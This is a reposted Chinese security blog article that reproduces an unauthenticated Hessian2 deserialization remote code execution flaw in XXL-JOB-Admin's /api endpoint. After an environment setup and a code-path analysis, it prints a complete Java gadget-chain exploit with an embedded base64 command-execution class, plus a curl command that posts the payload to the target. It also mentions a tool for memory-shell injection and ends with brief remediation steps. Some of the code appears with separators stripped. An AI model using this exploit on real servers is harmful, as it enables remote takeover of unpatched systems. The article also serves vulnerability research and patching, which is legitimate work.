XXL-JOB-Admin 前台api未授权 hessian2反序列化

admin 2025年2月7日11:39:31评论34 views字数 8086阅读26分57秒阅读模式
XXL-JOB-Admin 前台api未授权 hessian2反序列化
点击下方名片,关注公众号,一起探索网络安全技术
XXL-JOB-Admin 前台api未授权 hessian2反序列化
XXL-JOB-Admin 前台api未授权 hessian2反序列化
XXL-JOB-Admin 前台api未授权 hessian2反序列化

      请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。如有侵权烦请告知,我们会立即删除并致歉。谢谢!

01
漏洞描述
XXL-JOB-Admin 前台api未授权 hessian2反序列化

XXL-JOB 是一个分布式任务调度平台,其前后端之间通过 Hessian2 序列化协议传输数据,XXL-JOB 的 /api 接口允许未授权访问,攻击者可以构造恶意的 Hessian2 序列化数据并发送到服务端,导致反序列化漏洞。该漏洞主要影响 XXL-JOB 的早期版本(<= 2.0.2)

02
漏洞环境搭建
XXL-JOB-Admin 前台api未授权 hessian2反序列化

下载地址:

https://github.com/xuxueli/xxl-job/archive/refs/tags/v2.0.0.zip ,这里选择v2.0.0版本,解压并使用IDEA导入项目

XXL-JOB-Admin 前台api未授权 hessian2反序列化初始化数据库,数据库文件在 /doc/db/tables_xxl_job.sql,执行完脚本之后,就会新建一个 xxl_job的数据库

XXL-JOB-Admin 前台api未授权 hessian2反序列化

修改管理端配置文件 

xxl-job-2.0.0/xxl-job-admin/src/main/resources/application.properties

XXL-JOB-Admin 前台api未授权 hessian2反序列化

如果修改了管理端默认端口8080,同时也得修改执行端中的对应地址端口,/xxl-job-2.0.1/xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/resources/application.properties

XXL-JOB-Admin 前台api未授权 hessian2反序列化

启动管理端和执行端,两个都需要启动

XXL-JOB-Admin 前台api未授权 hessian2反序列化

然后访问:http://localhost:8080/xxl-job-admin,使用默认密码(admin,123456)即可登陆

XXL-JOB-Admin 前台api未授权 hessian2反序列化

03
漏洞分析
XXL-JOB-Admin 前台api未授权 hessian2反序列化

访问 http://127.0.0.1:8080/xxl-job-admin/api 时,可发现这是一个未授权访问,先全局搜索/api关键词,可以定位到是在JobApiController中管理/api这个路由

XXL-JOB-Admin 前台api未授权 hessian2反序列化

进入com.xxl.job.admin.controller.JobApiController,发现这里默认关闭了权限控制,导致api可以未授权访问,这里就是/api路由的入口点,这里传入请求对象request

XXL-JOB-Admin 前台api未授权 hessian2反序列化跟进invokeAdminService方法,来到com.xxl.job.admin.core.schedule.XxlJobDynamicScheduler#invokeAdminService

XXL-JOB-Admin 前台api未授权 hessian2反序列化继续跟进handle,来到com.xxl.rpc.remoting.net.impl.jetty.server.JettyServerHandler#handle,这里会将传入的request交给parseRequest进行处理

XXL-JOB-Admin 前台api未授权 hessian2反序列化继续跟进parseRequest,来到com.xxl.rpc.remoting.net.impl.jetty.server.JettyServerHandler#parseRequest,首先从request中读取请求体,将其转换为字节数组,然后判断字节数组是否为空,如果为空则抛出异常;如果不为空,则进行反序列化

privateXxlRpcRequest parseRequest(HttpServletRequest request) throws IOException {    // 从HttpServletRequest中读取请求体内容,将其转换为字节数组    byte[] requestBytes = readBytes(request);    // 检查读取到的字节数组是否为空    if (requestBytes != null && requestBytes.length != 0) {        // 使用xxlRpcProviderFactory获取序列化器        // 调用序列化器的deserialize方法,将字节数组反序列化为XxlRpcRequest对象        // 这里的反序列化过程是将字节数据转换为Java对象,通常使用JSON或其他序列化格式        XxlRpcRequest rpcXxlRpcRequest = (XxlRpcRequest)this.xxlRpcProviderFactory.getSerializer().deserialize(requestBytes, XxlRpcRequest.class);        // 返回解析后的XxlRpcRequest对象        return rpcXxlRpcRequest;    } else {        // 如果请求体为空(字节数组为空或长度为0),抛出自定义异常XxlRpcException        // 提示请求数据为空,无法进行后续处理        throw new XxlRpcException("XxlRpcRequest byte[] is null");    }}

XXL-JOB-Admin 前台api未授权 hessian2反序列化在反序列化处下断点并开启dubug调试,使用burpsuite构造一个请求体不为空的post请求进行发送,IDEA可以成功拦截到数据流

XXL-JOB-Admin 前台api未授权 hessian2反序列化

断点步入deserialize方法,来到com.xxl.rpc.serialize.impl.HessianSerializer#deserialize,发现调用了Hessian2Input的readObject方法,所以确定后端是使用 Hessian 2 协议将字节数组反序列化为指定类型的对象

XXL-JOB-Admin 前台api未授权 hessian2反序列化

04
漏洞复现与利用
XXL-JOB-Admin 前台api未授权 hessian2反序列化

现在已经分析出来了xxl-job会将/api请求的请求体进行hessian2反序列化处理,那么复现就很简单了,可以直接使用各种带有hessian2利用链的工具生成payload进行发送即可。这里使用代码去实现,首先得了解hessian2,下面代码实现了hessian2的序列化和反序列化,会序列化生成一个hessian.ser文件

publicclasshessian2 {staticSerializerFactoryserializerFactory=newSerializerFactory();publicstaticvoidmain(String[] argsthrowsException {Stringpayload="yv66vgAAADQAVQoAFwAqCAArCAAsCgAtAC4KAAgALwgAMAoACAAxBwAyCAAgCAAzCAA0CAA1BwA2CgA3ADgKADcAOQoAOgA7CgANADwIAD0KAA0APgoADQA/BwBABwArBwBBAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMY2FsYzsBAAg8Y2xpbml0PgEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAMgcAIwcAQAEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMABgAGQEABGNhbGMBAAdvcy5uYW1lBwBCDABDAEQMAEUARgEAA3dpbgwARwBIAQAQamF2YS9sYW5nL1N0cmluZwEAAi9jAQAJL2Jpbi9iYXNoAQACLWMBABFqYXZhL3V0aWwvU2Nhbm5lcgcASQwASgBLDABMAE0HAE4MAE8AUAwAGABRAQACXEEMAFIAUwwAVABGAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAAhABYAFwAAAAAAAgABABgAGQABABoAAAAvAAEAAQAAAAUqtwABsQAAAAIAGwAAAAYAAQAAAAMAHAAAAAwAAQAAAAUAHQAeAAAACAAfABkAAQAaAAAA1gAEAAMAAABdEgJLAUwSA7gABLYABRIGtgAHmQAZBr0ACFkDEglTWQQSClNZBSpTTKcAFga9AAhZAxILU1kEEgxTWQUqU0y7AA1ZuAAOK7YAD7YAELcAERIStgATtgAUTacABEuxAAEAAABYAFsAFQADABsAAAAmAAkAAAAGAAMABwAFAAgAFQAJACsACwA+AA4AWAAQAFsADwBcABIAHAAAABYAAgADAFUAIAAhAAAABQBTACIAIwABACQAAAAXAAT9ACsHACUHACYS/wAcAAAAAQcAJwAAAQAoAAAAAgAp";byte[] decodedClassBytes=java.util.Base64.getDecoder().decode(payload);ClassPoolclassPool=ClassPool.getDefault();CtClassctClass=classPool.makeClass(newjava.io.ByteArrayInputStream(decodedClassBytes));CtConstructorstaticConstructor=ctClass.makeClassInitializer();staticConstructor.insertBefore("System.out.println("success");");ctClass.setName("org.apache.WebSocketUpgradeOfpuanListener."+UUID.randomUUID().toString().replace("-"""));payload=java.util.Base64.getEncoder().encodeToString(ctClass.toBytecode());Stringnew_ClassName=ctClass.getName();byte[] bcode=Base64.decode(payload);serializerFactory.setAllowNonSerializable(true);Methodinvoke=MethodUtil.class.getMethod("invoke"Method.classObject.classObject[].class);MethoddefineClass=Unsafe.class.getDeclaredMethod("defineClass"String.classbyte[].classint.classint.classClassLoader.classProtectionDomain.class);Fieldf=Unsafe.class.getDeclaredField("theUnsafe");f.setAccessible(true);Objectunsafe=f.get(null);Object[] ags=newObject[]{invokenewObject(), newObject[]{defineClassunsafenewObject[]{new_ClassNamebcode0bcode.lengthnullnull}}};SwingLazyValueswingLazyValue=newSwingLazyValue("sun.reflect.misc.MethodUtil""invoke"ags);SwingLazyValueswingLazyValue1=newSwingLazyValue(new_ClassNamenullnewObject[0]);Object[] keyValueList=newObject[]{"abc"swingLazyValue};Object[] keyValueList1=newObject[]{"ccc"swingLazyValue1};UIDefaultsuiDefaults1=newUIDefaults(keyValueList);UIDefaultsuiDefaults2=newUIDefaults(keyValueList);UIDefaultsuiDefaults3=newUIDefaults(keyValueList1);UIDefaultsuiDefaults4=newUIDefaults(keyValueList1);Hashtable<ObjectObject>hashtable1=newHashtable<>();Hashtable<ObjectObject>hashtable2=newHashtable<>();Hashtable<ObjectObject>hashtable3=newHashtable<>();Hashtable<ObjectObject>hashtable4=newHashtable<>();hashtable1.put("a"uiDefaults1);hashtable2.put("a"uiDefaults2);hashtable3.put("b"uiDefaults3);hashtable4.put("b"uiDefaults4);serObj(hashtable1hashtable2hashtable3hashtable4);readObj();    }staticvoidserObj(Objecthashtable1Objecthashtable2Objecthashtable3Objecthashtable4throwsException {HashMap<ObjectObject>s=newHashMap<>();Reflections.setFieldValue(s"size"4);Class<?>nodeC;try {nodeC=Class.forName("java.util.HashMap$Node");        } catch (ClassNotFoundExceptione) {nodeC=Class.forName("java.util.HashMap$Entry");        }Constructor<?>nodeCons=nodeC.getDeclaredConstructor(int.classObject.classObject.classnodeC);nodeCons.setAccessible(true);Objecttbl=Array.newInstance(nodeC4);Array.set(tbl0nodeCons.newInstance(0hashtable1hashtable1null));Array.set(tbl1nodeCons.newInstance(0hashtable2hashtable2null));Array.set(tbl2nodeCons.newInstance(0hashtable3hashtable3null));Array.set(tbl3nodeCons.newInstance(0hashtable4hashtable4null));Reflections.setFieldValue(s"table"tbl);Hessian2Outputhessian2Output=newHessian2Output(newFileOutputStream("hessian.ser"));hessian2Output.setSerializerFactory(serializerFactory);hessian2Output.writeObject(s);hessian2Output.close();    }staticvoidreadObj() throwsException {Hessian2Inputhessian2Input=newHessian2Input(newFileInputStream("hessian.ser"));hessian2Input.readObject();    }}

将生成的文件发送到目标即可完成利用

curl -XPOST --data-binary@hessian.ser http://127.0.0.1:8080/xxl-job-admin/api -H "Content-Type:x-application/hessian"

XXL-JOB-Admin 前台api未授权 hessian2反序列化

05
工具自动化实现
XXL-JOB-Admin 前台api未授权 hessian2反序列化

当然以上的代码已经可以实现了漏洞利用,下面对其进行工具封装,已经实现了内存马注入,命令执行

XXL-JOB-Admin 前台api未授权 hessian2反序列化命令执行

XXL-JOB-Admin 前台api未授权 hessian2反序列化内存马注入

XXL-JOB-Admin 前台api未授权 hessian2反序列化

06
漏洞修复
XXL-JOB-Admin 前台api未授权 hessian2反序列化

1、升级到 XXL-JOB 的最新版本

2、对/api接口进行严格的权限验证,确保只有授权用户可以访问

3、如果业务允许,可以禁用 Hessian2 序列化协议,改用其他更安全的序列化方式

参考链接:包括但不局限于下面链接,当文章涉及侵权问题时,请与我联系,我将立即删除。

https://xz.aliyun.com/news/10539

https://blog.csdn.net/m0_63828240/article/details/141326602

https://blog.csdn.net/LiangYueSec/article/details/142753382

https://forum.butian.net/share/2592

https://blog.wanghw.cn/security/hessian-deserialization-jdk-rce-gadget.html

https://mp.weixin.qq.com/s/AKufROJaT6DLDqyykslrAg

https://blog.csdn.net/Err0r233/article/details/140818646

https://mp.weixin.qq.com/s/w7EMFPAlwRAv0bwCoT5cIA

XXL-JOB-Admin 前台api未授权 hessian2反序列化

原文始发于微信公众号(Sec探索者):【漏洞复现】XXL-JOB-Admin 前台api未授权 hessian2反序列化

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月7日11:39:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XXL-JOB-Admin 前台api未授权 hessian2反序列化https://cn-sec.com/archives/3708560.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息